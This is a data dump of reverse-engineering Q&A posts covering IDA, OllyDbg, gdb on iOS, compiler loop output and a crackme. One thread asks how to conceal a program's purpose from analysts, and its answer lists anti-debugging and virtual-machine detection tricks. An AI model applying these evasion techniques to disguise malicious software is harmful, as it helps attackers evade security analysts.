  <row Id="13966" PostTypeId="1" CreationDate="2016-11-17T21:17:17.657" Score="3" ViewCount="7152" Body="&lt;p&gt;I am reversing a program with IDA Pro, but for some reason it cannot recognize a function inside the text section.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can someone show me how to reformat the codes (in the figure) as a function?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/SMgra.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/SMgra.jpg&quot; alt=&quot;Assembly&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="13331" LastEditorUserId="2959" LastEditDate="2016-11-17T21:25:52.330" LastActivityDate="2019-08-13T06:57:38.553" Title="IDA Pro does not recognize function" Tags="|ida|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13967" PostTypeId="2" ParentId="13966" CreationDate="2016-11-17T21:20:25.243" Score="2" Body="&lt;p&gt;You should be able to go to encrypt_String and press P&lt;/p&gt;&#xA;" OwnerUserId="1481" LastActivityDate="2016-11-17T21:20:25.243" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="13968" PostTypeId="2" ParentId="13964" CreationDate="2016-11-17T21:37:46.897" Score="4" Body="&lt;p&gt;This answer assumes you are trying to compare &lt;code&gt;while (1)&lt;/code&gt; with &lt;code&gt;do { } while(1)&lt;/code&gt; for simplicity, but should work with other conditions:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Take these two small C programs:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just &lt;code&gt;while&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#include &amp;lt;stdio.h&amp;gt;&#xA;int main(){&#xA;   while(1)&#xA;      printf(&quot;This is a loop\n&quot;);&#xA;   return 0;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and &lt;code&gt;do while&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#include &amp;lt;stdio.h&amp;gt;&#xA;int main(){&#xA;   do&#xA;      printf(&quot;This is a loop\n&quot;);&#xA;   while(1);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Using gcc/clang to generate the platform-specific assembly (I'm on an Intel Mac) with &lt;code&gt;gcc -S loop.c&lt;/code&gt;, we can see the differences in the calls:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just &lt;code&gt;while&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    .section    __TEXT,__text,regular,pure_instructions&#xA;    .macosx_version_min 10, 11&#xA;    .globl  _main&#xA;    .align  4, 0x90&#xA;_main:                                  ## @main&#xA;    .cfi_startproc&#xA;## BB#0:&#xA;    pushq   %rbp&#xA;Ltmp0:&#xA;    .cfi_def_cfa_offset 16&#xA;Ltmp1:&#xA;    .cfi_offset %rbp, -16&#xA;    movq    %rsp, %rbp&#xA;Ltmp2:&#xA;    .cfi_def_cfa_register %rbp&#xA;    subq    $16, %rsp&#xA;    movl    $0, -4(%rbp)&#xA;LBB0_1:                                 ## =&amp;gt;This Inner Loop Header: Depth=1&#xA;    leaq    L_.str(%rip), %rdi&#xA;    movb    $0, %al&#xA;    callq   _printf&#xA;    movl    %eax, -8(%rbp)          ## 4-byte Spill&#xA;    jmp LBB0_1&#xA;    .cfi_endproc&#xA;&#xA;    .section    __TEXT,__cstring,cstring_literals&#xA;L_.str:                                 ## @.str&#xA;    .asciz  &quot;This is a loop\n&quot;&#xA;&#xA;&#xA;.subsections_via_symbols&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;do while&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    .section    __TEXT,__text,regular,pure_instructions&#xA;    .macosx_version_min 10, 11&#xA;    .globl  _main&#xA;    .align  4, 0x90&#xA;_main:                                  ## @main&#xA;    .cfi_startproc&#xA;## BB#0:&#xA;    pushq   %rbp&#xA;Ltmp0:&#xA;    .cfi_def_cfa_offset 16&#xA;Ltmp1:&#xA;    .cfi_offset %rbp, -16&#xA;    movq    %rsp, %rbp&#xA;Ltmp2:&#xA;    .cfi_def_cfa_register %rbp&#xA;    subq    $16, %rsp&#xA;    movl    $0, -4(%rbp)&#xA;LBB0_1:                                 ## =&amp;gt;This Inner Loop Header: Depth=1&#xA;    leaq    L_.str(%rip), %rdi&#xA;    movb    $0, %al&#xA;    callq   _printf&#xA;    movl    %eax, -8(%rbp)          ## 4-byte Spill&#xA;## BB#2:                                ##   in Loop: Header=BB0_1 Depth=1&#xA;    movb    $1, %al&#xA;    testb   $1, %al&#xA;    jne LBB0_1&#xA;    jmp LBB0_3&#xA;LBB0_3:&#xA;    movl    -4(%rbp), %eax&#xA;    addq    $16, %rsp&#xA;    popq    %rbp&#xA;    retq&#xA;    .cfi_endproc&#xA;&#xA;    .section    __TEXT,__cstring,cstring_literals&#xA;L_.str:                                 ## @.str&#xA;    .asciz  &quot;This is a loop\n&quot;&#xA;&#xA;&#xA;.subsections_via_symbols&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Notice the extra &lt;code&gt;LBB0_3&lt;/code&gt; subroutine generated from the &lt;code&gt;do while&lt;/code&gt; code.  We get the extra Jump Not Equal instruction because we need to check if the condition of the &lt;code&gt;while&lt;/code&gt; expression has been met after the statements in the &lt;code&gt;do&lt;/code&gt; block have been executed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This was a helpful resource on Stack Overflow: &lt;a href=&quot;https://stackoverflow.com/q/14063753/2415822&quot;&gt;while(true) / while(1) vs. for(;;)&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As Igor Skochinsky mentions in the comments, compiling each program with optimizations (&lt;code&gt;-O3&lt;/code&gt;) will give you the exact same assembly.  While this exercise was done on tiny programs with no optimizations, in reality, both loops accomplish the same thing and (depending on the compiler) would probably generate the same assembly.  In reality, it is very difficult (if not impossible) to differentiate between a loop which uses &lt;code&gt;while(1)&lt;/code&gt; and &lt;code&gt;do { } while(1)&lt;/code&gt;, because they both do the same thing.&lt;/p&gt;&#xA;" OwnerUserId="17972" LastEditorUserId="-1" LastEditDate="2017-05-23T12:37:19.663" LastActivityDate="2016-11-19T17:10:07.217" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="13969" PostTypeId="1" AcceptedAnswerId="13978" CreationDate="2016-11-17T23:16:50.573" Score="2" ViewCount="9714" Body="&lt;p&gt;I want to set a breakpoint when the register EAX references a specific Unicode string, e.g. &quot;Enter&quot;. In Ollydbg there is usually right beside the EAX value a string that says &quot;ASCII: Enter &quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I read that I have to use Olly v1.10 for this purpose. When I go to &quot;Debug&quot; -&gt; &quot;Set Condition&quot; I can write in the text field &quot;Condition is TRUE&quot; for instance this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;EAX == 00000010&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I press F9 (Run) and the breakpoint will work. So once EAX becomes 0x10 olly will stop. However when I do this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;UNICODE[EAX] == &quot;Enter&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;it doesn't work. What am I doing wrong? Doesn't matter which program I use and which Olly version, I can't get this to work. I would like to match strings like &quot;Enter text&quot; as well, so any appearance of &quot;Enter&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the end I'm basically looking for a way to stop olly once a specific string is loaded into RAM. How can I achieve this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help is appreciated. Thanks!&lt;/p&gt;&#xA;" OwnerUserId="4522" LastActivityDate="2016-11-18T14:34:18.833" Title="OllyDbg: How to set conditional breakpoint on a register value?" Tags="|disassembly|ollydbg|strings|breakpoint|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13970" PostTypeId="2" ParentId="12773" CreationDate="2016-11-18T03:33:00.257" Score="0" Body="&lt;p&gt;For a long time, I was using gdb from Cydia on my iPad 2 (it should still work on any 32-bit device).  You can dump memory by attaching gdb to the running application's pid: &lt;code&gt;ps ax | grep [app name]&lt;/code&gt; and &lt;code&gt;gdb -p -q [pid]&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you wanted to add a breakpoint at a symbol or selector, you first needed to extract the headers from the application.  Using any variant of Class Dump (I used class-dump-z), I could break at any symbol dumped from the generated interfaces.  After hitting the breakpoint, just run the &lt;code&gt;disassemble&lt;/code&gt; command.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/Ef18B.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Ef18B.png&quot; alt=&quot;symbolic breakpoint&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/nB9KR.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/nB9KR.png&quot; alt=&quot;gdb on iOS example&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://hackoftheday.securitytube.net/2013/04/bypassing-jailbroken-checks-in-ios.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;Image source&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="17972" LastEditorUserId="17972" LastEditDate="2016-11-18T04:03:34.470" LastActivityDate="2016-11-18T04:03:34.470" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13972" PostTypeId="1" CreationDate="2016-11-18T07:16:12.807" Score="-1" ViewCount="581" Body="&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/keDVD.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/keDVD.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;this is I got so far &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#include &amp;lt;windows.h&amp;gt;&#xA;&#xA;int WinMain(HINSTANCE hlnst,HINSTANCE hPrev, LPSTR lpCmd,int nShow){&#xA;&#xA;    int k =0; &#xA;    int j= 0 ;  &#xA;    MessageBox(0,&quot;crackname&quot;,&quot;&quot;,0);&#xA;&#xA;    int i;&#xA;    for (i=0; *(lpCmd+i)  ; i++) {&#xA;    }&#xA;    while (i &amp;lt; j) {&#xA;        j = *(lpCmd + i);//j = ECX *lpCmd = EDX&#xA;        *(lpCmd) = i + *(lpCmd);&#xA;    }&#xA;    MessageBox(0,&quot;success&quot;,&quot;&quot;,0);&#xA;    return 0;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I'm stuck with &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;  LEA ECX,DWORD PTR DS:[EAX+EDX-2F] &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;anyone give me some hint to solve this question?&#xA;is this represent the pointer?&lt;/p&gt;&#xA;" OwnerUserId="18135" LastEditorUserId="4154" LastEditDate="2016-11-18T11:32:33.770" LastActivityDate="2021-01-17T17:03:00.340" Title="winmain reversing the assembly to c code" Tags="|disassembly|c|disassemblers|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13973" PostTypeId="1" AcceptedAnswerId="13974" CreationDate="2016-11-18T09:16:55.370" Score="0" ViewCount="858" Body="&lt;p&gt;Suppose you want to conceal an application's true purpose from analysts by reacting to dynamic analysis tools. How is it possible to detect running (in debugger mode) the application under a reverse engineering tool (e.g., IDA Pro) by the application itself? What code do you propose to use while preparing the application?&lt;/p&gt;&#xA;" OwnerUserId="17667" LastActivityDate="2016-11-18T09:37:18.737" Title="Dynamic Analysis Detection" Tags="|ida|ida-plugin|dynamic-analysis|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13974" PostTypeId="2" ParentId="13973" CreationDate="2016-11-18T09:37:18.737" Score="1" Body="&lt;p&gt;&lt;strong&gt;the easy answer:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;probably a Sleep(random()*60000 + 10000) is more than enough to thwat most dynamic analysis systems. Or if((int)(random()*10) == 8) and so on&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;check for debuggers:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The 'standard' way is to use &lt;a href=&quot;https://msdn.microsoft.com/de-de/library/windows/desktop/ms680345(v=vs.85).aspx&quot; rel=&quot;nofollow noreferrer&quot;&gt;IsDebuggerPresent&lt;/a&gt;. But analysis systems are aware of that and try to patch these calls. So there are similar approaches checking the field in the EPROCESS structure directly. I've also seen malware checking the result of &lt;a href=&quot;https://msdn.microsoft.com/de-de/library/windows/desktop/aa363362(v=vs.85).aspx&quot; rel=&quot;nofollow noreferrer&quot;&gt;OutputDebugString&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;check for analysis systems&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some malware families employ checks for certain process names implying the system may be used for analysis, like the pcap driver or the names of debugger-processes. Also, the availability of certain libraries may prevent the program from exhibiting its real behavior.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;check for virtual environment&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are already lots of papers about this. Most dynamic analysis of potentially malicious programs happens in virtual environments. There are different approaches you can take here:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Timing traps - virtualization is slower than bare metal machines&lt;/li&gt;&#xA;&lt;li&gt;Undefined behavior - often virtualization tools respond differently in error situations (e.g. invalid opcodes)&lt;/li&gt;&#xA;&lt;li&gt;Suspicious strings - e.g. 'VirtualBox Harddrive', ...&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Also, there are some very advanced approaches, like checking the behavior of the TLB.&lt;/p&gt;&#xA;" OwnerUserId="3162" LastActivityDate="2016-11-18T09:37:18.737" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="13975" PostTypeId="2" ParentId="13952" CreationDate="2016-11-18T11:08:33.713" Score="1" Body="&lt;p&gt;i see you have started a new question&lt;br&gt;&#xA;as i posted earlier the window is PWM_INFO it is a user defined custom table&lt;br&gt;&#xA;it doesn't have any sorted data only sorted.n , sorted.selected and offset&lt;br&gt;&#xA;the test or whatever it is is probably drawn using gdi functions&lt;br&gt;&#xA;or i think rendered    &lt;/p&gt;&#xA;&#xA;&lt;p&gt;you should take time to read whatever scanty documents are available&lt;br&gt;&#xA;i don't think you can getwindowtext() from that window &lt;/p&gt;&#xA;&#xA;&lt;p&gt;if you cant find documentation debug ollydbg break and check what you see when you are on some call &lt;/p&gt;&#xA;&#xA;&lt;p&gt;if you use windbg you can strip the About Function to bare minimum and check what the t_table contains when you break on About() and you changed the mainmenu to PWM_INFO  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;assuming you compiled this and broke on About in windbg and check t_table&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#define _UNICODE&#xA;#include &amp;lt;windows.h&amp;gt;&#xA;#include &amp;lt;stdio.h&amp;gt;&#xA;#include &quot;plugin.h&quot;&#xA;static int About(t_table *,wchar_t *,ulong ,int mode) {&#xA;  int n; wchar_t s[TEXTLEN];  if ( mode==MENU_VERIFY ) { return MENU_NORMAL; }&#xA;  else if (mode==MENU_EXECUTE) {&#xA;    Resumeallthreads();     n=StrcopyW(s,TEXTLEN,&#xA;    L&quot;BlabbTest plugin v 1\nCopyright from genesis to eternity blabb\n\n&quot;);&#xA;    MessageBoxW(0,s,L&quot;BlabbTest&quot;,0);&#xA;    Suspendallthreads();     return MENU_NOREDRAW;&#xA;  };  return MENU_ABSENT;&#xA;};&#xA;static t_menu mainmenu[] = {&#xA;  { L&quot;|BlabbTest&quot;, L&quot;About BlabbTest plugin&quot;, K_NONE, About, NULL, 0 },&#xA;  { NULL,NULL,K_NONE,NULL,NULL,0}&#xA;};&#xA;extc t_menu * __cdecl ODBG2_Pluginmenu(wchar_t *type) {&#xA;  if(wcscmp(type,PWM_INFO)==0) { return mainmenu; }&#xA;  return NULL;&#xA;};&#xA;BOOL WINAPI DllEntryPoint(HINSTANCE ,DWORD ,LPVOID ) { return 1; };&#xA;extc int __cdecl ODBG2_Pluginquery(int ollydbgversion,ulong *,&#xA;wchar_t pluginname[SHORTNAME],wchar_t pluginversion[SHORTNAME]) {&#xA;  if (ollydbgversion&amp;lt;201) {  return 0; }&#xA;  wcscpy_s(pluginname,SHORTNAME,L&quot;BlabbTest&quot;);&#xA;  wcscpy_s(pluginversion,SHORTNAME,L&quot;2.00.01&quot;);&#xA;  return PLUGIN_VERSION; };&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;you would get this info about t_table which shows the sorted data is null&lt;br&gt;&#xA;so you cannot get what is in there as text&lt;br&gt;&#xA;you can only screen shot it&lt;br&gt;&#xA;click capture in winsp++ and try pasting it in mspaint&lt;br&gt;&#xA;you can see the result&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;cdb.exe ollydbg.exe CALC&#xA;&#xA;Microsoft (R) Windows Debugger Version 10.0.14951.1001 X86&#xA;CommandLine: ollydbg.exe CALC&#xA;&#xA;0:005&amp;gt; bp infodump!About &quot;dv&quot;&#xA;0:005&amp;gt; g&#xA;&#xA;       __formal = 0x005e6ab8&#xA;       __formal = 0x0012e71c &quot;BlabbTest&quot;&#xA;&#xA;       infodump!About:&#xA;665e1300 81ec04020000    sub     esp,204h&#xA;&#xA;0:000&amp;gt; dx -r3 (infodump!t_table *) 0x5e6ab8&#xA;(infodump!t_table *) 0x5e6ab8 : 0x5e6ab8 [Type: t_table *]&#xA;    [+0x000] name             : &quot;CPU Info&quot; [Type: wchar_t [32]]&#xA;    [+0x040] mode             : -1866396925 [Type: int]&#xA;    [+0x044] sorted           [Type: t_sorted]&#xA;        [+0x000] n                : 5 [Type: int]  &amp;lt;========&#xA;        [+0x004] nmax             : 0 [Type: int]&#xA;        [+0x008] itemsize         : 0x0 [Type: unsigned long]&#xA;        [+0x00c] mode             : 0 [Type: int]&#xA;        [+0x010] data             : 0x0 [Type: void *]&#xA;        [+0x014] block            : 0x0 [Type: void * *]&#xA;        [+0x018] nblock           : 0 [Type: int]&#xA;        [+0x01c] version          : 0x0 [Type: unsigned long]&#xA;        [+0x020] dataptr          : 0x0 [Type: void * *]&#xA;        [+0x024] selected         : -1 [Type: int] &amp;lt;--------- no selection &#xA;        [+0x028] seladdr          : 0x0 [Type: unsigned long]&#xA;        [+0x02c] selsubaddr       : 0x0 [Type: unsigned long]&#xA;        [+0x030] sortfunc         : 0x0 [Type: int (__cdecl*)(t_sorthdr *,t_sorthdr *,int)]&#xA;        [+0x034] destfunc         : 0x0 [Type: void (__cdecl*)(t_sorthdr *)]&#xA;        [+0x038] sort             : 0 [Type: int]&#xA;        [+0x03c] sorted           : 0 [Type: int]&#xA;        [+0x040] sortindex        : 0x0 [Type: int *]&#xA;    [+0x088] subtype          : 0 [Type: int]&#xA;    [+0x08c] bar              [Type: t_bar]&#xA;        [+0x000] nbar             : 1 [Type: int]&#xA;        [+0x004] visible          : 0 [Type: int]&#xA;        [+0x008] name             [Type: wchar_t * [17]]&#xA;            [0]              : 0x0 [Type: wchar_t *]&#xA;            [1]              : 0x0 [Type: wchar_t *]&#xA;            [2]              : 0x0 [Type: wchar_t *]&#xA;            [3]              : 0x0 [Type: wchar_t *]&#xA;            [4]              : 0x0 [Type: wchar_t *]&#xA;            [5]              : 0x0 [Type: wchar_t *]&#xA;            [6]              : 0x0 [Type: wchar_t *]&#xA;            [7]              : 0x0 [Type: wchar_t *]&#xA;            [8]              : 0x0 [Type: wchar_t *]&#xA;            [9]              : 0x0 [Type: wchar_t *]&#xA;            [10]             : 0x0 [Type: wchar_t *]&#xA;            [11]             : 0x0 [Type: wchar_t *]&#xA;            [12]             : 0x0 [Type: wchar_t *]&#xA;            [13]             : 0x0 [Type: wchar_t *]&#xA;            [14]             : 0x0 [Type: wchar_t *]&#xA;            [15]             : 0x0 [Type: wchar_t *]&#xA;            [16]             : 0x0 [Type: wchar_t *]&#xA;        [+0x04c] expl             [Type: wchar_t * [17]]&#xA;            [0]              : 0x0 [Type: wchar_t *]&#xA;            [1]              : 0x0 [Type: wchar_t *]&#xA;            [2]              : 0x0 [Type: wchar_t *]&#xA;            [3]              : 0x0 [Type: wchar_t *]&#xA;            [4]              : 0x0 [Type: wchar_t *]&#xA;            [5]              : 0x0 [Type: wchar_t *]&#xA;            [6]              : 0x0 [Type: wchar_t *]&#xA;            [7]              : 0x0 [Type: wchar_t *]&#xA;            [8]              : 0x0 [Type: wchar_t *]&#xA;            [9]              : 0x0 [Type: wchar_t *]&#xA;            [10]             : 0x0 [Type: wchar_t *]&#xA;            [11]             : 0x0 [Type: wchar_t *]&#xA;            [12]             : 0x0 [Type: wchar_t *]&#xA;            [13]             : 0x0 [Type: wchar_t *]&#xA;            [14]             : 0x0 [Type: wchar_t *]&#xA;            [15]             : 0x0 [Type: wchar_t *]&#xA;            [16]             : 0x0 [Type: wchar_t *]&#xA;        [+0x090] mode             [Type: int [17]]&#xA;            [0]              : 8 [Type: int]&#xA;            [1]              : 0 [Type: int]&#xA;            [2]              : 0 [Type: int]&#xA;            [3]              : 0 [Type: int]&#xA;            [4]              : 0 [Type: int]&#xA;            [5]              : 0 [Type: int]&#xA;            [6]              : 0 [Type: int]&#xA;            [7]              : 0 [Type: int]&#xA;            [8]              : 0 [Type: int]&#xA;            [9]              : 0 [Type: int]&#xA;            [10]             : 0 [Type: int]&#xA;            [11]             : 0 [Type: int]&#xA;            [12]             : 0 [Type: int]&#xA;            [13]             : 0 [Type: int]&#xA;            [14]             : 0 [Type: int]&#xA;            [15]             : 0 [Type: int]&#xA;            [16]             : 0 [Type: int]&#xA;        [+0x0d4] defdx            [Type: int [17]]&#xA;            [0]              : 256 [Type: int]&#xA;            [1]              : 0 [Type: int]&#xA;            [2]              : 0 [Type: int]&#xA;            [3]              : 0 [Type: int]&#xA;            [4]              : 0 [Type: int]&#xA;            [5]              : 0 [Type: int]&#xA;            [6]              : 0 [Type: int]&#xA;            [7]              : 0 [Type: int]&#xA;            [8]              : 0 [Type: int]&#xA;            [9]              : 0 [Type: int]&#xA;            [10]             : 0 [Type: int]&#xA;            [11]             : 0 [Type: int]&#xA;            [12]             : 0 [Type: int]&#xA;            [13]             : 0 [Type: int]&#xA;            [14]             : 0 [Type: int]&#xA;            [15]             : 0 [Type: int]&#xA;            [16]             : 0 [Type: int]&#xA;        [+0x118] dx               [Type: int [17]]&#xA;            [0]              : 1536 [Type: int]&#xA;            [1]              : 0 [Type: int]&#xA;            [2]              : 0 [Type: int]&#xA;            [3]              : 0 [Type: int]&#xA;            [4]              : 0 [Type: int]&#xA;            [5]              : 0 [Type: int]&#xA;            [6]              : 0 [Type: int]&#xA;            [7]              : 0 [Type: int]&#xA;            [8]              : 0 [Type: int]&#xA;            [9]              : 0 [Type: int]&#xA;            [10]             : 0 [Type: int]&#xA;            [11]             : 0 [Type: int]&#xA;            [12]             : 0 [Type: int]&#xA;            [13]             : 0 [Type: int]&#xA;            [14]             : 0 [Type: int]&#xA;            [15]             : 0 [Type: int]&#xA;            [16]             : 0 [Type: int]&#xA;        [+0x15c] captured         : 0 [Type: int]&#xA;        [+0x160] active           : 0 [Type: int]&#xA;        [+0x164] scrollvx         : 0 [Type: int]&#xA;        [+0x168] scrollvy         : 0 [Type: int]&#xA;        [+0x16c] prevx            : 0 [Type: int]&#xA;        [+0x170] prevy            : 0 [Type: int]&#xA;    [+0x200] bottomspace      : 0 [Type: int]&#xA;    [+0x204] minwidth         : 0 [Type: int]&#xA;    [+0x208] tabfunc          : 0x4773cc [Type: long (__cdecl*)(t_table *,HWND__ *,unsigned int,unsi&#xA;gned int,long)]&#xA;        [Type: long __cdecl(t_table *,HWND__ *,unsigned int,unsigned int,long)]&#xA;    [+0x20c] updatefunc       : 0x0 [Type: int (__cdecl*)(t_table *)]&#xA;    [+0x210] drawfunc         : 0x477178 [Type: int (__cdecl*)(wchar_t *,unsigned char *,int *,t_tab&#xA;le *,t_sorthdr *,int,void *)]&#xA;        [Type: int __cdecl(wchar_t *,unsigned char *,int *,t_table *,t_sorthdr *,int,void *)]&#xA;    [+0x214] tableselfunc     : 0x0 [Type: void (__cdecl*)(t_table *,int,int)]&#xA;    [+0x218] menu             : 0x53f05c [Type: t_menu *]&#xA;        [+0x000] name             : 0x53f4c2 : &quot;!&quot; [Type: wchar_t *]&#xA;        [+0x004] help             : 0x0 [Type: wchar_t *]&#xA;        [+0x008] shortcutid       : 0 [Type: int]&#xA;        [+0x00c] menufunc         : 0x474ce0 [Type: int (__cdecl*)(t_table *,wchar_t *,unsigned long&#xA;,int)]&#xA;            [Type: int __cdecl(t_table *,wchar_t *,unsigned long,int)]&#xA;        [+0x010] submenu          : 0x0 [Type: t_menu *]&#xA;        [+0x014] index            : 0x0 [Type: unsigned long]&#xA;        [+0x014] hsubmenu         : 0x0 [Type: HMENU__ *]&#xA;    [+0x21c] custommode       : 0x0 [Type: unsigned long]&#xA;    [+0x220] customdata       : 0x0 [Type: void *]&#xA;    [+0x224] hparent          : 0x260940 [Type: HWND__ *]&#xA;        [+0x000] unused           : Unable to read memory at Address 0x260940&#xA;    [+0x228] hstatus          : 0x0 [Type: HWND__ *]&#xA;    [+0x22c] hw               : 0x21075a [Type: HWND__ *]&#xA;        [+0x000] unused           : Unable to read memory at Address 0x21075a&#xA;    [+0x230] htooltip         : 0xb08e0 [Type: HWND__ *]&#xA;        [+0x000] unused           : Unable to read memory at Address 0xb08e0&#xA;    [+0x234] font             : 1 [Type: int]&#xA;    [+0x238] scheme           : 0 [Type: int]&#xA;    [+0x23c] hilite           : 2 [Type: int]&#xA;    [+0x240] hscroll          : 1 [Type: int]&#xA;    [+0x244] xshift           : 0 [Type: int]&#xA;    [+0x248] offset           : 0 [Type: int] &amp;lt;---------------&#xA;    [+0x24c] colsel           : 0 [Type: int]&#xA;    [+0x250] version          : 0x0 [Type: unsigned long]&#xA;    [+0x254] timerdraw        : 0x0 [Type: unsigned long]&#xA;    [+0x258] rcprev           : {LT(0, 0) RB(0, 0)  [0 x 0]} [Type: tagRECT]&#xA;        [&amp;lt;Raw View&amp;gt;]     [Type: tagRECT]&#xA;    [+0x268] rtback           : 0 [Type: int]&#xA;0:000&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3473" LastActivityDate="2016-11-18T11:08:33.713" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13977" PostTypeId="2" ParentId="13969" CreationDate="2016-11-18T12:30:00.527" Score="0" Body="&lt;p&gt;It's possible to set a conditional breakpoint in both OllyDbg 1.01 and 2.00&lt;br/&gt;&#xA;For example in Olly 2, by pressing &lt;kbd&gt;Shift&lt;/kbd&gt;+&lt;kbd&gt;F2&lt;/kbd&gt; you can type your condition &lt;strong&gt;UNICODE [EAX] ==  &quot;Enter&quot;&lt;/strong&gt; in the dialog box.&lt;br/&gt;&lt;br/&gt;&#xA;If the debugger doesn't break on the condition you can check the values of &lt;em&gt;EAX&lt;/em&gt; by setting a conditional log breakpoint(&lt;kbd&gt;Shift&lt;/kbd&gt;+&lt;kbd&gt;F4&lt;/kbd&gt;). set the settings like shown:&#xA;&lt;a href=&quot;https://i.stack.imgur.com/DX5XV.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/DX5XV.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now while the program is running and you are waiting to break here, open the log window and check what are the values in &lt;em&gt;EAX&lt;/em&gt; and why the debugger is not breaking.&lt;/p&gt;&#xA;" OwnerUserId="8279" LastActivityDate="2016-11-18T12:30:00.527" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
